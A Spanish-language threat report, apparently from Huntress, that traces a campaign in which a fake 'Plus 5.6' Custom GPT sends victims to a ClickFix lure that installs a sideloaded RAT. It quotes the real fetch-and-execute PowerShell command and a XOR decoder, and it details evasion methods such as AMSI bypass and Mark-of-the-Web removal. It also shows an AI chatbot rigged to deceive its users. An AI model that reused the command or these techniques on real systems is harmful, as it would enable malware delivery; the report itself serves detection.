Atacantes abusan de los GPT personalizados de ChatGPT para distribuir un RAT mediante ClickFix

Agradecimientos: Un agradecimiento especial a Tanner Filip, Camilo Lima, Ethan Williams, Ryan Eisenhower, Jose Oregon, Jai Minton, Susannah Matt y Lindsey Welch por sus contribuciones a esta investigación y redacción.

Contexto

La popularidad de los modelos de IA como Claude, ChatGPT y Grok en 2026 no es ningún secreto, y en los últimos meses los investigadores de Huntress han visto cómo actores de amenazas aprovechan estas plataformas confiables. Hemos observado atacantes abusando de Claude Artifacts, conversaciones compartidas de ChatGPT y más para convencer a las víctimas de hacer clic en enlaces maliciosos o ejecutar comandos de Terminal. 

A finales de septiembre, los investigadores de Huntress observaron una nueva campaña que usaba otra función legítima de ChatGPT: Custom GPT. Los Custom GPT permiten a los usuarios crear una versión personalizada de ChatGPT para un propósito específico, permitiéndoles incluir instrucciones relacionadas, archivos de conocimiento y herramientas. Estos viven en el sitio web legítimo ChatGPT.com y muestran el nombre del Custom GPT en la parte superior de la página, seguido del perfil del creador debajo. 

En los incidentes que vimos, las víctimas interactuaron con un Custom GPT creado por el atacante, que estaba programado para responder a sus indicaciones con un mensaje que incluía un enlace de Google Sites. Este enlace las llevaba a un ataque de estilo ClickFix, que conducía a la descarga y ejecución de un instalador MSI malicioso. Este instalador luego desplegaba una aplicación legítima firmada por Canon (COTFileReadApp.exe), que los atacantes abusaban para hacer sideload de una DLL maliciosa y evadir la detección. 

La campaña ha afectado a decenas de usuarios: el Huntress SOC ha respondido a al menos 40 incidentes provenientes del dominio específico de Google Sites involucrado en este ataque, y confirmó que dos de estos incidentes llegaron a través de una instancia de Custom GPT. Huntress se puso en contacto con OpenAI sobre este Custom GPT específico, y fue eliminado el 25 de septiembre; sin embargo, el 27 de septiembre los investigadores de Huntress descubrieron un nuevo Custom GPT vinculado a la misma campaña. Los actores de amenazas están teniendo éxito con este abuso específico de los Custom GPT para ingeniería social y continúan confiando en esta técnica.

VIDEO: Mark O'Halloran explica los clics iniciales que inician la cadena de ataque

El señuelo del Custom GPT

En algunos de los incidentes que investigamos, el ataque comenzó cuando las víctimas buscaron "chatgpt" en Google. Un resultado patrocinado las llevó entonces a la página del Custom GPT en el dominio legítimo de ChatGPT. La URL en la que aterrizaron lleva parámetros de seguimiento de clics de Google Ads (gad_source, gad_campaignid y un ID de clic que omitimos), que Google agrega cuando alguien hace clic en uno de sus anuncios pagados. Como hemos visto con otros ataques de abuso de plataformas de IA, pagar por el anuncio coloca el enlace por encima de los resultados orgánicos, lo que hace más probable que los objetivos lo visiten: hxxps://chatgpt[.]com/g/g-6ab595ad6554819181b686d4876efb80-plus-5-6?gad_source=1&gad_campaignid=[REDACTED]

Ten en cuenta que este fue el dominio inicial del Custom GPT que los investigadores de Huntress encontraron y reportaron a OpenAI; al momento de la publicación este Custom GPT fue eliminado, pero el SOC ha visto un nuevo Custom GPT vinculado a esta campaña que sigue activo al momento de la publicación. Este dominio está en: hxxps://chatgpt[.]com/g/g-6ab6ba039440819185ed491740b11cf8-plus-5-6

Los atacantes titularon este Custom GPT "Plus 5.6" para que un visitante desprevenido lo confundiera con un modelo real de ChatGPT. Como se ve en la Figura 1, debajo del título la página indica que fue creado por un "community builder". Esto es una pista para alguien que entiende qué es un Custom GPT, pero para un usuario desprevenido esta página podría pasar como una conversación normal de ChatGPT con un nuevo modelo. 

Figura 1: Los actores de amenazas abusaron de la función Custom GPT de ChatGPT para entregar este señuelo  

Este Custom GPT fue programado para mostrar un solo mensaje a los objetivos que interactúan con él: como se ve en la Figura 2, les entrega un "Aviso de disponibilidad del servicio" y les dice que está "experimentando disponibilidad limitada en el dominio primario". Para continuar, los usuarios deben actualizar su suscripción a Plus o "seguir usando el servicio a través de nuestro dominio de respaldo".

Figura 2: Cualquier interacción con este Custom GPT resulta en el mensaje anterior

Ese "dominio de respaldo" es hxxps[://]sites[.]google[.]com/view/antibot172881, alojado en una página de Google Sites. Esta página de Google Sites se presenta como una verificación CAPTCHA de CloudFlare y entrega un ataque ClickFix, indicando a los usuarios que copien y peguen un comando en su Terminal.  

Figura 3: Señuelo ClickFix con marca de ChatGPT y Cloudflare en la página de Google Sites

Este ataque ClickFix inicia el resto del ataque y conduce a la ejecución del siguiente comando de PowerShell:

\"C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -ExecutionPolicy Bypass \"irm 1614733393/12 | Out-File $env:temp\\1777.ps1;& $env:temp\\1777.ps1\"

La siguiente fase del ataque

El comando de PowerShell descarga y ejecuta un script ofuscado, que instala silenciosamente un MSI malicioso (ISOSimple.msi). El MSI abusa de una aplicación legítima firmada por Canon para hacer sideload de código malicioso, luego configura dos mecanismos de persistencia, una clave Run de usuario y una tarea programada, ambos llamados Canon Configuration Reader.

En al menos un incidente, Microsoft Defender puso en cuarentena ISOSimple.msi (identificándolo como Trojan:Script/Wacatac.H!ml). Para entonces, el instalador ya se había ejecutado, y la clave Run y la tarea programada continuaron la cadena de ataque de todas formas.

Figura 4: En un incidente, Microsoft Defender puso en cuarentena ISOSimple.msi   

Análisis técnico: de ClickFix a RAT

La mayoría de las cadenas ClickFix que vemos tienen dos o tres saltos: pegar un comando, descargar algo, ejecutarlo. Esta tiene ocho, y cada salto existe para ocultar el siguiente. Al final, una DLL de Canon parcheada ha cargado un helper que extrae un cargador de un archivo .wav, y ese cargador desempaqueta un troyano de acceso remoto (RAT) desde su propio sistema de archivos encriptado. 

Aquí está la cadena completa:

Figura 5: La cadena de infección, desde el comando ClickFix hasta el RAT

Continúa leyendo para más detalles sobre cada sección y etapa de la infección. Todo lo que sigue proviene del análisis de muestras recuperadas de los hosts afectados. Cada etapa fue decodificada leyendo el código y reimplementando su descifrado.

Etapa 1: Números hasta el fondo

Los comandos ClickFix siguen una plantilla en todos los incidentes, pero los detalles cambian según la víctima. Cada versión extrae un script con irm, lo escribe en %TEMP% bajo un número aleatorio (1777.ps1 en un incidente, 6469.ps1 en otro), y lo ejecuta. El servidor también cambia entre incidentes, y esperamos que haya más por ahí de los que hemos visto. En las muestras analizadas aquí, el host se escribe como un número decimal, 1614733393, en lugar de una IP con puntos. Windows acepta esa forma y la resuelve a 96.62.224[.]81, pero las reglas y filtros de URL que buscan una dirección IP con puntos nunca ven una.

El script que llega a %TEMP% es una sola línea, de 27,581 caracteres de largo, y casi todo es un array de 3,036 enteros negativos. Cada entero es un carácter del script real, desplazado por una clave fija. El script suma 1520498 a cada valor, convierte los resultados de nuevo en caracteres, y ejecuta el código reconstruido con [scriptblock]::Create, de modo que la versión decodificada nunca toca el disco.

Figura 6: Capa 1, el script tal como llega al disco (los 2,991 enteros del medio están cortados)

Eliminar la primera capa aún no da código legible. Cada cadena que buscaría un analista o escáner, como la URL de descarga, Net.WebClient y DownloadFile, está codificada nuevamente por separado, esta vez con una segunda clave, 6178128. Cada cadena tiene su propio pequeño array de enteros y bucle de decodificación, por lo que casi nada excepto sintaxis de PowerShell queda en texto plano:

Figura 7: Capa 2, la línea que construye la URL de descarga

Con ambas capas eliminadas, el script es corto. Fuerza TLS 1.2 (código repetitivo para descargas HTTPS que no hace nada aquí, ya que el MSI llega por HTTP plano), descarga el MSI desde el mismo host de IP decimal, lo instala silenciosamente con msiexec /qn /norestart en una ventana oculta, y luego se autoelimina. El MSI se guarda bajo un GUID nuevo cada vez, por lo que nunca tiene el mismo nombre dos veces. En disco se ve como %TEMP%\<32 caracteres hexadecimales>_ISOSimple.msi:

Figura 8: Capa 3, el script completamente decodificado

Etapa 2: Se requiere algo de ensamblaje

ISOSimple.msi se presenta como "Advanced Printer Configuration Reader" de un editor llamado "Softplicity", y se instala silenciosamente en %LOCALAPPDATA%\Programs\Advanced Printer Configuration Reader\.

Dos configuraciones lo hacen más silencioso que un instalador normal. ARPSYSTEMCOMPONENT=1 lo oculta de Programas y características, de modo que un usuario que busque lo que acaba de instalar no lo encontrará. Una acción personalizada lanza COTFileReadApp.exe en el momento en que termina la instalación, por lo que nada espera un reinicio o inicio de sesión. 

El paquete contiene 177 archivos, y casi todos son inofensivos. La mayoría es un runtime .NET 5 completo, legítimamente firmado, que la app de Canon necesita para ejecutarse. El resto es decoración: una imagen de disquete DOS 6.22, un archivo de ayuda, una interfaz de usuario para que se vea "bonito", una licencia MIT, y una biblioteca ASProtect. De los archivos, solo ocho hacen algo interesante para nuestra investigación:

Los dos primeros son código genuino de Canon, y ese es el punto. Una vez que el MSI lanza la app de Canon, la app se comporta exactamente como Canon la escribió, y carga su biblioteca de registro desde su propia carpeta. Los atacantes solo tuvieron que cambiar lo que esa biblioteca trae consigo para lanzar la siguiente etapa.

Etapa 3: Carnada de Canon

COTFileReadApp.exe es un binario real de Canon de CaptureOnTouch, y su firma es válida. Su compañero, COTFileReadApp.dll, llama a la biblioteca de registro de Canon, ceiinfolog.dll. Cuando un programa pide una DLL por nombre, Windows revisa primero la propia carpeta del programa, por lo que lo que esté junto al EXE con el nombre correcto se carga. Eso es sideloading de DLL, y es la puerta que usaron los atacantes.

El ceiinfolog.dll en este paquete parece ser el real porque en su mayoría lo es. Su ruta de depuración apunta al propio árbol de compilación de Canon (c:\data\home\ceidriver\...\ceiinfolog.pdb), su marca de tiempo de compilación es de 2015, y aún exporta las funciones de registro que llama el código de Canon. Pero su firma desapareció, el checksum en su encabezado ya no coincide con su contenido, y su tabla de importaciones tiene una entrada con la que una biblioteca de registro no tiene nada que ver: rdCore.dll!instance_levels_. La tabla de importaciones es la lista de otras DLL que una biblioteca necesita, y Windows carga cada entrada antes de que se ejecute el propio código de la biblioteca. Así que en el momento en que la app de Canon carga su registrador, rdCore.dll viene de paso, y nada en el código de Canon tiene que cambiar.

Figura 9: COTFileReadApp.exe detalles de firma junto al ceiinfolog.dll

Las otras DLL maliciosas se construyeron desde cero, todas con la misma hora de compilación, 2026-09-24 22:46 UTC, un día antes de que viéramos las muestras por primera vez. También toman prestados nombres, por lo que una mirada rápida a las propiedades del archivo muestra una biblioteca de código abierto conocida en lugar de una DLL desconocida. La información de versión de rdCore.dll afirma que es Polly 7.2.3, una popular biblioteca de resiliencia .NET, aunque es una DLL nativa de C++/CLI. WPFLocalizeExtension.dll toma el nombre de una biblioteca real y administrada de localización WPF, pero esta es código nativo que exporta funciones como split_parameters, Language y Mail. 

Etapa 4: Haciendo olas de wav

Common.Integrator.Preview.wav resiste una mirada rápida. Tiene un encabezado RIFF/WAVE válido (PCM estéreo de 16 bits a 22,050 Hz), el comando file lo identifica como audio, y la primera parte del archivo es audio real. Pero al mirar más de cerca, se desmorona. El encabezado dice que el archivo mide unos 700 KB cuando en realidad es poco más de 1 MB, y a mitad de camino, las muestras de audio suaves se convierten en ruido aleatorio (el juego de palabras es ligeramente intencional). 

Figura 10: El encabezado del .wav afirma 701,700 bytes, y en el offset 0x24362 las muestras de audio dan paso al texto cifrado

Ese ruido es el cargador. Tan pronto como rdCore.dll se carga, inicia un hilo que:

1. Encuentra su propia carpeta y carga el archivo WMPCL.dll

2. Abre Common.Integrator.Preview.wav, busca el offset 0x24362, y lee 341,395 bytes de datos

3. Decodifica esos bytes con un XOR rotativo de un byte

4. Copia los resultados en memoria y los ejecuta, usando dos exportaciones auxiliares de WPFLocalizeExtension.dll que parecen asignar el buffer y hacerlo ejecutable

Figura 11: rdCore.dll busca 0x24362, lee 0x53593 bytes, y los decodifica XOR en su lugar

El decodificador tiene solo unas pocas líneas. Reimplementado en Python:

r8, r9 = 4, 0x13
for i in range(len(buf)):
   r9 = (r9 + i + 0x23) & 0xFFFFFFFF
   r8 = (r8 * 2 + 9) & 0xFFFFFFFF
   r9 = (r9 + i * 2) & 0xFFFFFFFF
   buf[i] ^= (r8 + 0x23 + r9) & 0xFF

Se revuelven dos contadores en cada byte, por lo que cada byte de la carga útil se XOR con un valor diferente, y ninguna clave está en ningún lugar del archivo para que un escáner la encuentre. El algoritmo es la clave. Ejecútalo sobre los 341,395 bytes, y el ruido se convierte en código máquina x64, comenzando con un prólogo de función estándar (sub rsp, 0x28) y una llamada a su rutina principal.

Nuestro primer instinto fue llamar a esto esteganografía. Pero estrictamente hablando, no lo es. La esteganografía de audio real oculta datos en los bits bajos de cada muestra, por lo que el archivo todavía suena normal. Aquí los atacantes sobrescribieron un tramo de una grabación real con texto cifrado. Es tosco, pero pasa cualquier cosa que confíe inherentemente en los encabezados de archivo, lo que cubre la mayoría de las herramientas automatizadas. 

Tampoco es nuevo: una campaña de Lumma Stealer de 2025 metió sus cargas útiles en archivos .wav, .mp3, .png y .mp4 detrás de una capa de PureCrypter, y las cargas útiles ocultas en WAV son una marca registrada de Octowave Loader.

Etapa 5: Sin cadenas de texto

Los bytes decodificados son 341 KB de shellcode x64 independiente de posición, básicamente código máquina en bruto que se ejecuta desde donde quiera que aterrice en memoria, sin ningún envoltorio EXE alrededor. No hay una sola cadena legible en él. Cada cadena se ensambla en la pila en tiempo de ejecución y se descifra con un pequeño generador de números pseudoaleatorios (un generador congruencial lineal, para los curiosos), por lo que strings y los escáneres de firmas no encuentran nada. Después de unas horas en el desensamblador, escribimos un descifrador que encuentra cada cadena de pila y reproduce las matemáticas. Los datos recuperados apuntaban a:

• Un bypass de AMSI dirigido a amsi.dll. AMSI es la interfaz de Windows que permite al antivirus inspeccionar scripts y código .NET en memoria, así que cegarlo oculta lo que se ejecute después

• Alojar el runtime .NET (CLR v4.0.30319), lo que le permite ejecutar código .NET directamente desde memoria sin dejar caer un ensamblado al disco

• Desenganche de ntdll, que mapea una copia nueva de ntdll.dll para sortear los hooks que los productos EDR colocan en el que ya está cargado para monitoreo

• Verificaciones anti-VM contra cadenas de proveedores de CPU y una larga lista de controladores y servicios de VMware, VirtualBox, Hyper-V, QEMU, Xen y Parallels, para poder comportarse de manera diferente dentro de un sandbox

• Una ventana falsa de "LOADING...", probablemente allí para hacer pensar a la víctima que una app está iniciando 

El trabajo principal del cargador es encontrar su almacenamiento. Busca en su propia carpeta un archivo que termine en .bak, .db, .bin, .dat, .raw o .pak y lo verifica contra una clave codificada. Si no hay coincidencia, muestra el error [-] Not Found Storage ! y desiste. En este paquete, el archivo de almacenamiento es monitor.raw.

Figura 12: Cadenas descifradas del shellcode cargador

Etapa 6: Un trato crudo

Lo admitimos: monitor.raw es nuestra parte favorita de la cadena. Alguien se sentó y construyó un sistema de archivos encriptado completo solo para pasar de contrabando un script y un RAT más allá de las defensas de la víctima. En lugar de un solo blob encriptado, es un archivo personalizado con su propio árbol de carpetas, básicamente un archivo zip encriptado casero. Comienza con un pequeño encabezado, seguido de un índice de 1,128 entradas (una por archivo o carpeta, cada una registrando su padre, su tamaño y una clave por archivo), y luego el contenido de los archivos, empaquetado uno tras otro.

Figura 13: El árbol de carpetas decodificado dentro de monitor.raw

Nada de monitor.raw es legible sin la clave del cargador. Cada campo en el índice se mezcla con aritmética basada en una clave maestra (0x26ace8d1) más una sal (un número extra único para cada entrada que se mezcla en las matemáticas), por lo que no hay dos entradas que se vean iguales, y cada archivo está encriptado con XOR con su propia clave de un byte además de eso. Una vez que tuvimos la clave (y entendimos las matemáticas), el análisis cuadró perfectamente: los tamaños en el índice decodificado sumaban la longitud exacta de monitor.raw, hasta el último byte.

Una vez desencriptado, el archivo contiene 315 carpetas y 806 archivos. La mayoría de los archivos tienen solo unos pocos bytes de largo: indicadores, retrasos y nombres que juntos forman un árbol de configuración compilado. Uno de ellos, sin embargo, es un script en texto plano escrito en el propio lenguaje de scripting del malware: 

Figura 14: El script de tarea almacenado en monitor.raw

No necesitas documentación del lenguaje para seguir el código. Un monitor de apagado escribe la clave Run de HKCU una vez más cuando Windows se apaga. Cada 150 segundos, el script revisa esa clave Run y la recrea si desapareció, y cada 875 segundos hace lo mismo con una tarea programada. La tarea block_execution extrae el recurso llamado @input, lo ejecuta desde memoria, y luego duerme para siempre para mantener el proceso vivo.

Tanto el valor Run como la tarea programada se llaman Canon Configuration Reader, y ambos lanzan COTFileReadApp.exe. Eso hace que el orden de limpieza importe. Elimina uno mientras el implante se está ejecutando y el script lo vuelve a poner en unos minutos. Mata el proceso primero, luego elimina ambos.

@input es la carga útil final: 1.58 MB de shellcode, construido con la misma cadena de herramientas que el cargador.

La capa de scripting dice mucho sobre la gente detrás de esto. Para cambiar los nombres de persistencia, el tiempo o la carga útil final, los operadores simplemente envían un nuevo monitor.raw, y nada se recompila. Eso apunta a un marco mantenido en lugar de una compilación única.

Etapa 7: Huele a RAT

Como se mencionó antes, @input es la carga útil final. Usa el mismo cifrado de cadenas que el cargador, y al descifrarlo aparecen alrededor de 1,500 cadenas. Juntas describen el RAT con todas las funciones de esta campaña.

Para control práctico, ejecuta sesiones de escritorio remoto y "transmisiones" de pantalla, y puede capturar la entrada de la cámara del endpoint, el micrófono y el audio del sistema. Conoce 17 navegadores, desde Chrome y Edge hasta Yandex y Arc, puede determinar cuál es el predeterminado, y puede lanzarlo. Un administrador de archivos integrado viene con un motor de "búsqueda avanzada" que busca contenido de archivos en todo el host. 

¡También está construido para traer amigos! El RAT puede soltar y ejecutar cargas útiles posteriores, procesando y ejecutando archivos EXE, DLL (a través de rundll32 o regsvr32), MSI, PowerShell, Batch, VBScript, JScript o ZIP, ya sea incrustados o descargados de una URL silenciosamente en segundo plano.

Figura 15: Cadenas del RAT detrás de las funciones de control, carga útil y persistencia

Antes de todo eso, sin embargo, hace un inventario del host que ha infectado, documentando: 

• Antivirus instalado (a través de llamadas WMI)

• Estado de Microsoft Defender

• Detalles del dominio y del controlador de dominio 

• Adaptadores de red

• Puertos abiertos 

• Software instalado

• Funciones activadas de Windows

• Una huella de hardware muy detallada que también funciona como verificación anti-VM 

Para encontrar su servidor C2, al que las cadenas llaman el "Gate", el RAT usa DNS sobre HTTPS a través de servidores de Cloudflare, Google y Quad9. Sus búsquedas viajan dentro de tráfico HTTPS ordinario a resolutores conocidos, por lo que nunca aparecen en los registros DNS locales. La dirección C2 en sí no estaba presente en ningún archivo que recuperamos del ataque. Nuestra mejor suposición es que se encuentra en un archivo de configuración encriptado, llega en tiempo de ejecución, o se oculta en algún lugar más profundo del código.

Figura 16: Cadenas del RAT detrás de las funciones de reconocimiento, C2 por DNS sobre HTTPS y limpieza

En los hosts que investigamos, el siguiente movimiento del RAT fue casi siempre el mismo. Soltó un GOMCam2024.exe firmado legítimamente (GOM & Company) en %LOCALAPPDATA%\AppstorageFile\, que luego lanzó chrome.exe con un perfil de navegador desechable bajo %TEMP%, alineándose con las funciones de despliegue de carga útil y lanzamiento de navegador mencionadas arriba. GOMCam no fue la única acción posterior, sin embargo. En un número menor de incidentes, vimos otra actividad que coincide con las capacidades descritas en esta sección.

Versión dos: pintura nueva, mismo motor

Todo lo anterior es la primera versión que desarmamos, la construida alrededor de la app de Canon. Poco después de que el primer Custom GPT fuera dado de baja, nos alertaron sobre el otro en hxxps://chatgpt[.]com/g/g-6ab6ba039440819185ed491740b11cf8-plus-5-6

Después de una investigación rápida, confirmamos que uno nuevo tomó su lugar y la cadena regresó con un atuendo diferente. Desarmamos las nuevas muestras de la misma manera, y debajo de la pintura es el mismo kit. Así es como se alinean las dos versiones, pieza por pieza:

Figura 17: La cadena de Canon (V1) junto a la cadena de Stardock (V2)

La fila inferior lo delata: el RAT en la versión dos es exactamente el mismo archivo que la versión uno, hasta el último byte. El script de persistencia, el shellcode del cargador y el formato de almacenamiento encriptado se mantienen intactos, solo con la clave de almacenamiento y el cifrado por archivo intercambiados.

Todo lo que cambió es el envoltorio. El host firmado ahora es DeElevate64.exe de Stardock, la DLL de registro parcheada de Canon es reemplazada por la propia DeElevator64.dll de Stardock, parcheada de la misma manera con una importación extra, y el cargador ya no se oculta en un WAV. Esta vez está cosido en un paquete real de NuGet de Microsoft, Build.dat. Está incrustado en medio de los datos comprimidos de una de las propias DLL del paquete, y dado que los datos comprimidos ya se ven aleatorios, no hay un salto de audio real a ruido que lo delate.

Figura 18: Build.dat en una herramienta zip estándar: un paquete de aspecto genuino de Microsoft con una línea de advertencia

La entrega también se volvió más robusta. Donde el script de la versión uno obtenía el MSI directamente, la versión dos lo divide en dos: un pequeño stager extrae un segundo script a memoria con un user agent de Chrome falsificado, y ese segundo script se ofusca de nuevo en cada solicitud, por lo que su hash no sirve como indicador. La descarga reintenta hasta tres veces, elimina el Mark-of-the-Web del MSI antes de ejecutarlo, y lo instala silenciosamente. Mark-of-the-Web es una etiqueta oculta que Windows adjunta a cualquier cosa descargada de internet. Es lo que hace que aparezcan las advertencias de SmartScreen y "este archivo vino de internet", así que eliminarla permite que el MSI se ejecute como si hubiera estado en el disco todo el tiempo. El cargador también adquirió una verificación de sandbox. Si una llamada auxiliar falla o falta el archivo portador, abre una ventana inofensiva en lugar de ejecutar la carga útil.

Oportunidades de detección

La mayor parte de esta cadena se ejecuta en memoria o se oculta dentro de archivos que parecen inofensivos, por lo que la actividad de procesos es el lugar más confiable para detectarla:

• powershell.exe lanzando msiexec.exe /i %TEMP%\<32 caracteres hexadecimales>_ISOSimple.msi /qn /norestart (_IconEdit2Turb.msi en V2)

• COTFileReadApp.exe o DeElevate64.exe ejecutándose desde %LOCALAPPDATA%\Programs\ en lugar de una instalación real de Canon o Stardock, especialmente cuando msiexec.exe lo inicia

• Un valor Run de HKCU o tarea programada llamada Canon Configuration Reader o Stardock DeElevation Tool

• Un ceiinfolog.dll sin firmar, o cualquiera de rdCore.dll, WPFLocalizeExtension.dll y WMPCL.dll, en la misma carpeta que COTFileReadApp.exe

• En V2: un DeElevator64.dll cuyo checksum de encabezado ya no coincide, o cualquiera de I++u.dll, senddmp.resources.dll, res.dll y Build.dat, en la misma carpeta que DeElevate64.exe
  

Figura 19: Línea de tiempo de entrega para otras oleadas vistas en la telemetría de Huntress

Desafortunadamente, nosotros (y tú) deberíamos esperar más disfraces. Mientras realizábamos una investigación más profunda del servidor de entrega, encontramos que también alojaba un tercer instalador, UltraFreeISOCreateWizardSolution.msi, el mismo día en que comenzó la oleada de Canon, y es muy probable que se estén abusando de otras aplicaciones firmadas de la misma manera. Las detecciones vinculadas a los nombres de Canon o Stardock se perderán el próximo cambio. Los comportamientos (hasta ahora) se mantienen: 

• PowerShell lanzando msiexec en un MSI con nombre GUID en %TEMP%, 

• Una app firmada iniciada por msiexec desde una carpeta de producto falsa bajo %LOCALAPPDATA%\Programs\ 

• Un valor Run y tarea programada que comparten un nombre y regresan cuando se eliminan

En general, los actores de amenazas continúan convirtiendo plataformas confiables en puntos de entrada convincentes para la ingeniería social, ya sea a través de la función Custom GPT de ChatGPT o mediante Google Sites para alojar un ataque ClickFix. Esta campaña engañó a decenas de víctimas para que ejecutaran PowerShell e instalaran una carga útil maliciosa.

Hemos visto anteriormente a atacantes abusar de funciones legítimas en plataformas de IA, incluyendo:

• Conversaciones de ChatGPT y Grok envenenadas con SEO se hicieron pasar por consejos de solución de problemas de macOS y engañaron a los usuarios para ejecutar comandos que descargaban el stealer AMOS

• Un resultado patrocinado de Google llevó a usuarios de Mac a una conversación compartida de Claude que les indicaba ejecutar un comando malicioso de Terminal, desplegando el stealer MacSync.

• Un Claude Artifact malicioso suplantó una página de descarga de Claude Desktop y redirigió a las víctimas al malware SectopRAT
  

Estas campañas a menudo permanecen activas solo por horas o días antes de que el proveedor elimine el contenido, pero incluso en ese breve lapso, pueden atraer una atención considerable.

Indicadores de compromiso (IOC)